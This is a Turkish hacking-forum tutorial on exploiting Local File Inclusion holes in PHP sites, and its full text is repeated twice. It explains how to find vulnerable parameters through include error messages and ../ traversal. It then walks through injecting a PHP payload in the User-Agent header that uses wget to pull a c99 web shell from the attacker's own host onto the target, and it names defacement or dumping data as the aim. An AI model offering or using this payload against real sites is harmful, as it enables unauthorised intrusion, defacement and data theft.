- 30 Haz 2015
- 3,847
- 73
Local File Inclusion (LFI) Açıkları //NogayGokturk
Merhaba değerli THT üyesi arkadaşlarım. Bu konuda sizlere LFI açıkları hakkında elimden geldiğince bilgi vermeye çalışacağım. Şimdiden belirtmek isterim konumda çeşitli kaynaklardan faydalanarak bir harmanlama yapmaya çalışacağım umarım faydalı bir konu olur. Şimdi konumuza geçelim.
Local File Inclusion Nedir?
LFI (Local File Inclusion) kelime anlamı olarak Local File İnclude (Serverdan dosya çağırma) işlemidir.
LFI Açıkları Neden Oluşurlar?
Lfi açığı Phpde bulunan bir açıktır. Bu açığın sebebi de değişkenlerin atama hatalarıdır. Acemi Php coderlar maalesef bu tip hatalara düşmektedir. Fakat günümüzde neredeyse kalmayacak duruma gelen bu açık hala sıfırdan kodlanan Php sistemlerde bulunabiliyor.
Aslında Lfi include, include_once, require, require_once kodlarından dolayı oluşuyor. Bu Php kodlarına biraz inceleyelim.
INCLUDE / INCLUDE_ONCE : Bu kodumuz ile yazdığımız uzun kodları bir başka sayfaya aktarıyoruz.
REQUIRE / REQUIRE_ONCE : Bu kodda yukarıda verdiğim include komutunu yerine getirir fakat include komutunda çağırdığınız dosya bulunamadıysa hata verip orayı atlayacaktır ve yorumlayıcı yorumlamaya devam edecektir. Ancak Require komutunda çağrılan dosya bulunamazsa yorumlayıcı hatayı verdikten sonra çalışmayı kesecek yani diğer kısımları yorumlamayacaktır.
LFI Açıkları Nasıl Bulunur?
Bu açığı açık tarayan programlar ile tespit edebileceğiniz gibi manuel olarakta tespit edebilirsiniz. Manuel olarak nasıl tespit edileceğine geçelim.
Mesela ; http://www.orneksite.com/index.php?id=9 burası sadece id değil (cat,c,home vs.) gibi de olabilir. URLsindeki id değerini yani 9 silelim eğer şöyle bir hata ile karşılaşırsak demek ki LFİ açığı vardır.
Hata: Warning: include(company_data/.php) [function.include]: failed to open stream: No such file or directory in /usr/home/posting/public_html/resources/index.php on line 171
Bunun dışında Örnek url:
http://site.com/index.php?page=haberler
Bu url de "page=haberler" parametresini değiştirip "page=haberlerasdasd" şu hatayla karşılaşıyoruz:
Warning: include(haberlerasdasd.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/site.com/index.php on line 135
Bu hata bize 2 şey hakkında bilgi veriyor. 1. si "page" parametresi üzerinden alınan veri, "index.php" de include ediliyor.
Bu işlemleri yaptığınızda site hata vermiyor ise hemen pes etmeyin.
Örneğin;
"page=haberler" parametresini değiştirip farklı birşey yaptığımızda sayfa boş dönüyor olsun.
Burada "lfi" açığı olup olmadığını nasıl anlarız?
Burada ilk denememiz gereken, sitede mevcut bir sayfayı çağırmaya çalışmaktır. Bu sayfa genelde "index.php" dir. Yani "page=index" denememiz gerekiyor.
Sayfanın boş çıkıp çıkmadığı kontrol edilir. Eğer sayfa boş değil de index.php yi içeriyorsa, açığımız mevcuttur. Peki ya "index.php" "haberler.php" ile aynı klasörde değilse?
Eğer sayfa boş çıkarsa bunu da göz önünde bulundurmamız gerekmekte. "../index.php", "../../index.php" şeklinde denemelere devam etmeliyiz.
LFI Açığı Ne İşimize Yarar?
LFI açığı ile açığı bulduğumuz siteye shell sokabiliriz. Shell soktuktan sonra ister index basın isterseniz verileri dump edin size kalmış bir şey bu tamamen. Zaten shell'i soktuktan sonrası Sql kullanıyorsanız orada yaptıklarınızla aynı.
Peki Shell'i Sitemize Nasıl Sokacağız?
Arkadaşlar öncelikle anlatacağım yöntem için mozilla tarayıcısına ve bu tarayıcının eklentilerinden birisi olan Tamper Data eklentisine ihtiyacımız var. Bunları edindikten sonra:
-->Önce Mozilla tarayıcımızı açıyoruz ve açık bulduğumuz siteye giriyoruz.
-->Tarayıcının üst kısmında araçlar sekmesi mevcut. Buraya tıklayıp Tamper Data yı açıyoruz.
-->Start Tamper diyip sayfayı yeniliyoruz. Gelen uyarıda Tamper diyoruz
User-Agent yazan kısma;
<?system(wget http://kendisitemiz.com/c99.php -o shell.php);?>
Yazıyoruz. Burada yapmamız gereken olay kendi sitemizde veya hostumuzda bir adet shell bulundurmak. Burada yaptığımız olay ise kendi sitemizdeki c99 shelli hedef siteye shell.php olarak kaydetmektir.
Bu olayı da yaptıktan sonra tamam diyoruz ve gelen diğer tüm yanıtlara submit diyoruz.
İşlem bitti. Hedef siteye Shellimizi soktuk.Şimdi shell'i çagırma zamanı.
www.siteadi.com/shell.php
Girdiğimiz zaman shelle başarıyla giriş yapmış bulunuyorsunuz.
Okuduğunuz için teşekkür ederim umarım faydalı olmuştur. İyi forumlar.
Merhaba değerli THT üyesi arkadaşlarım. Bu konuda sizlere LFI açıkları hakkında elimden geldiğince bilgi vermeye çalışacağım. Şimdiden belirtmek isterim konumda çeşitli kaynaklardan faydalanarak bir harmanlama yapmaya çalışacağım umarım faydalı bir konu olur. Şimdi konumuza geçelim.
Local File Inclusion Nedir?
LFI (Local File Inclusion) kelime anlamı olarak Local File İnclude (Serverdan dosya çağırma) işlemidir.
LFI Açıkları Neden Oluşurlar?
Lfi açığı Phpde bulunan bir açıktır. Bu açığın sebebi de değişkenlerin atama hatalarıdır. Acemi Php coderlar maalesef bu tip hatalara düşmektedir. Fakat günümüzde neredeyse kalmayacak duruma gelen bu açık hala sıfırdan kodlanan Php sistemlerde bulunabiliyor.
Aslında Lfi include, include_once, require, require_once kodlarından dolayı oluşuyor. Bu Php kodlarına biraz inceleyelim.
INCLUDE / INCLUDE_ONCE : Bu kodumuz ile yazdığımız uzun kodları bir başka sayfaya aktarıyoruz.
REQUIRE / REQUIRE_ONCE : Bu kodda yukarıda verdiğim include komutunu yerine getirir fakat include komutunda çağırdığınız dosya bulunamadıysa hata verip orayı atlayacaktır ve yorumlayıcı yorumlamaya devam edecektir. Ancak Require komutunda çağrılan dosya bulunamazsa yorumlayıcı hatayı verdikten sonra çalışmayı kesecek yani diğer kısımları yorumlamayacaktır.
LFI Açıkları Nasıl Bulunur?
Bu açığı açık tarayan programlar ile tespit edebileceğiniz gibi manuel olarakta tespit edebilirsiniz. Manuel olarak nasıl tespit edileceğine geçelim.
Mesela ; http://www.orneksite.com/index.php?id=9 burası sadece id değil (cat,c,home vs.) gibi de olabilir. URLsindeki id değerini yani 9 silelim eğer şöyle bir hata ile karşılaşırsak demek ki LFİ açığı vardır.
Hata: Warning: include(company_data/.php) [function.include]: failed to open stream: No such file or directory in /usr/home/posting/public_html/resources/index.php on line 171
Bunun dışında Örnek url:
http://site.com/index.php?page=haberler
Bu url de "page=haberler" parametresini değiştirip "page=haberlerasdasd" şu hatayla karşılaşıyoruz:
Warning: include(haberlerasdasd.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/site.com/index.php on line 135
Bu hata bize 2 şey hakkında bilgi veriyor. 1. si "page" parametresi üzerinden alınan veri, "index.php" de include ediliyor.
Bu işlemleri yaptığınızda site hata vermiyor ise hemen pes etmeyin.
Örneğin;
"page=haberler" parametresini değiştirip farklı birşey yaptığımızda sayfa boş dönüyor olsun.
Burada "lfi" açığı olup olmadığını nasıl anlarız?
Burada ilk denememiz gereken, sitede mevcut bir sayfayı çağırmaya çalışmaktır. Bu sayfa genelde "index.php" dir. Yani "page=index" denememiz gerekiyor.
Sayfanın boş çıkıp çıkmadığı kontrol edilir. Eğer sayfa boş değil de index.php yi içeriyorsa, açığımız mevcuttur. Peki ya "index.php" "haberler.php" ile aynı klasörde değilse?
Eğer sayfa boş çıkarsa bunu da göz önünde bulundurmamız gerekmekte. "../index.php", "../../index.php" şeklinde denemelere devam etmeliyiz.
LFI Açığı Ne İşimize Yarar?
LFI açığı ile açığı bulduğumuz siteye shell sokabiliriz. Shell soktuktan sonra ister index basın isterseniz verileri dump edin size kalmış bir şey bu tamamen. Zaten shell'i soktuktan sonrası Sql kullanıyorsanız orada yaptıklarınızla aynı.
Peki Shell'i Sitemize Nasıl Sokacağız?
Arkadaşlar öncelikle anlatacağım yöntem için mozilla tarayıcısına ve bu tarayıcının eklentilerinden birisi olan Tamper Data eklentisine ihtiyacımız var. Bunları edindikten sonra:
-->Önce Mozilla tarayıcımızı açıyoruz ve açık bulduğumuz siteye giriyoruz.
-->Tarayıcının üst kısmında araçlar sekmesi mevcut. Buraya tıklayıp Tamper Data yı açıyoruz.
-->Start Tamper diyip sayfayı yeniliyoruz. Gelen uyarıda Tamper diyoruz
User-Agent yazan kısma;
<?system(wget http://kendisitemiz.com/c99.php -o shell.php);?>
Yazıyoruz. Burada yapmamız gereken olay kendi sitemizde veya hostumuzda bir adet shell bulundurmak. Burada yaptığımız olay ise kendi sitemizdeki c99 shelli hedef siteye shell.php olarak kaydetmektir.
Bu olayı da yaptıktan sonra tamam diyoruz ve gelen diğer tüm yanıtlara submit diyoruz.
İşlem bitti. Hedef siteye Shellimizi soktuk.Şimdi shell'i çagırma zamanı.
www.siteadi.com/shell.php
Girdiğimiz zaman shelle başarıyla giriş yapmış bulunuyorsunuz.
Okuduğunuz için teşekkür ederim umarım faydalı olmuştur. İyi forumlar.
Son düzenleme: